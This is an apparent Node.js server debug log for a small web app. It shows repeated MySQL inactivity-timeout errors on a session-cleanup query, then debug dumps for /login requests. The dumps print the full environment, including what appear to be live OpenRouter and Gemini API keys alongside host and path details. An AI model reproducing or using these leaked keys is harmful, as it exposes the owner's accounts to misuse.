Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-20 16:35:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-20 16:35:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-20 16:52:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-20 16:52:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-20 22:26:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-20 22:26:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-20 23:44:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-20 23:44:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-21 04:29:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-21 04:29:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-21 06:13:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-21 06:13:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-21 08:06:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-21 08:06:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-21 09:06:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-21 09:06:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-21 10:50:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-21 10:50:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-21 11:24:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-21 11:24:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-22 07:26:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-22 07:26:21' as DATETIME)"
}
2026-02-22T10:22:13.680Z server-connect:router Serving templateView /
2026-02-22T10:22:13.682Z server-connect:app Executing action step identify
2026-02-22T10:22:13.682Z server-connect:app options: { provider: 'security' }
2026-02-22T10:22:13.682Z server-connect:auth No login cookie found
2026-02-22T10:22:13.682Z server-connect:output identity: false
2026-02-22T10:22:13.682Z server-connect:app Executing action step restrict
2026-02-22T10:22:13.682Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-22T10:22:13.683Z server-connect:output restrict: undefined
2026-02-22T10:22:13.784Z server-connect:router Serving templateView /login
2026-02-22T10:22:13.784Z server-connect:app Executing action step identify
2026-02-22T10:22:13.784Z server-connect:app options: { provider: 'security' }
2026-02-22T10:22:13.784Z server-connect:auth No login cookie found
2026-02-22T10:22:13.784Z server-connect:output identity: false
2026-02-22T10:22:13.784Z server-connect:router Render template layouts/authentication
2026-02-22T10:22:13.785Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '107.21.11.47',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-23T10:22:13.783Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '107.21.11.47',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '107.21.11.47',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-22 13:39:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-22 13:39:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-22 21:06:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-22 21:06:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-23 01:27:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-23 01:27:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-23 03:46:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-23 03:46:23' as DATETIME)"
}
2026-02-23T08:57:54.450Z server-connect:router Serving templateView /
2026-02-23T08:57:54.451Z server-connect:app Executing action step identify
2026-02-23T08:57:54.452Z server-connect:app options: { provider: 'security' }
2026-02-23T08:57:54.452Z server-connect:auth No login cookie found
2026-02-23T08:57:54.452Z server-connect:output identity: false
2026-02-23T08:57:54.452Z server-connect:app Executing action step restrict
2026-02-23T08:57:54.452Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-23T08:57:54.452Z server-connect:output restrict: undefined
2026-02-23T08:57:54.838Z server-connect:router Serving templateView /login
2026-02-23T08:57:54.838Z server-connect:app Executing action step identify
2026-02-23T08:57:54.838Z server-connect:app options: { provider: 'security' }
2026-02-23T08:57:54.838Z server-connect:auth No login cookie found
2026-02-23T08:57:54.838Z server-connect:output identity: false
2026-02-23T08:57:54.838Z server-connect:router Render template layouts/authentication
2026-02-23T08:57:54.838Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.45',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-24T08:57:54.837Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
